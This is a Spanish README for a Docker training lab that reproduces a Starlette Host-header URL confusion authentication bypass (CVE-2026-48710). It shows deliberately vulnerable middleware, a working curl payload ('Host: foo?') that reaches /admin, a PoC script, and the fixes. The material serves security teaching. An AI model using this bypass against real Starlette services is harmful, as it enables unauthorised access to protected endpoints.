
Laboratorio de confusión de URL de Host-Header de Starlette (X41-2026-002) - CVE-2026-48710
Un laboratorio de formación autónomo y contenerizado que reproduce la vulnerabilidad de omisión de autenticación en Starlette divulgada por X41 D-Sec.
>= 0.8.3, < 1.0.1 (el lab fija 0.37.2)1.0.1⚠️ Solo para formación de seguridad autorizada. Esta aplicación es deliberadamente vulnerable. No la despliegue en ninguna red accesible.
Starlette envía una solicitud a una ruta usando el scope["path"] ASGI crudo,
pero reconstruye formateando el encabezado suministrado por
el cliente en —
contra RFC 9112 §3.2. Dado que los metacaracteres de URL (, , ) se
permiten directamente, un atacante puede hacer que la ruta
difiera de la ruta . Cualquier comprobación de seguridad escrita
contra puede entonces ser engañada mientras el enrutador
sigue alcanzando el manejador protegido.
request.urlHost"{scheme}://{host}{path}"?/#request.url.pathEl middleware vulnerable permite la solicitud solo cuando request.url.path es
/ o está vacío:
if request.url.path in ("/", ""):
return await call_next(request) # permitido
return PlainTextResponse("Forbidden", status_code=403)
Envía Host: foo? contra GET /admin:
| Componente | Valor usado |
|---|---|
Router (scope["path"]) | /admin → despacha admin() |
request.url | http://foo?/admin |
request.url.path | "" → pasa la comprobación de auth ✅ |
El ? convierte todo lo que le sigue en la cadena de consulta, por lo que la
ruta analizada está vacía. La autenticación ve una ruta vacía y la deja pasar;
el enrutador sigue sirviendo /admin. Omisión lograda.
Requiere Docker + Docker Compose.
docker compose up --build
Se inician dos servicios:
| Servicio | URL | Comportamiento |
|---|---|---|
vulnerable | http://localhost:8000 | vulnerable a la omisión |
fixed | http://localhost:8001 | mitigado (de dos formas) |
# Bloqueado normalmente:
curl -i http://localhost:8000/admin # 403 Forbidden
# Omisión mediante inyección en el encabezado Host:
curl -i -H 'Host: foo?' http://localhost:8000/admin # 200 OK + FLAG{...}
O ejecuta el script de PoC guiado:
./exploit/exploit.sh # ataca a :8000 (tiene éxito)
./exploit/exploit.sh 8001 # ataca a :8001 (falla — corregido)
El manejador vulnerable /admin devuelve un cuerpo JSON que hace visible la
confusión — observa cómo scope_path y reconstructed_path no coinciden:
{
"secret": "FLAG{host_header_url_confusion}",
"scope_path": "/admin",
"reconstructed_url": "http://foo?/admin",
"reconstructed_path": "",
"host_header": "foo?"
}
Consulta fixed/fixed_app.py. Dos mitigaciones independientes:
request.scope["path"] — la misma ruta cruda que usa el enrutador — en lugar de
la reconstruida request.url.path.TrustedHostMiddleware rechaza los encabezados
Host inesperados o malformados antes de que se ejecute cualquier lógica de
aplicación, reflejando lo que hace un proxy inverso conforme a RFC
(nginx/Apache) en el upstream.La corrección en el mundo real es simplemente actualizar a Starlette ≥ 1.0.1, que valida el encabezado Host durante la reconstrucción de la URL.
redirect_uri de OAuth, claves de caché, enlaces de restablecimiento de
contraseña construidos desde Host.)/admin) más frágil aquí que "decidir
sobre el endpoint enrutado"? ¿Qué pasa si el enrutamiento no distingue entre
mayúsculas y minúsculas o tiene redirecciones con barra final?0.0.0.0.)starlette-host-header-lab/
├── app/vulnerable_app.py # el servicio deliberadamente vulnerable
├── fixed/fixed_app.py # servicio mitigado para comparación
├── exploit/exploit.sh # prueba de concepto guiada
├── requirements.txt # fija Starlette 0.37.2 (vulnerable)
├── Dockerfile
├── docker-compose.yml
└── README.md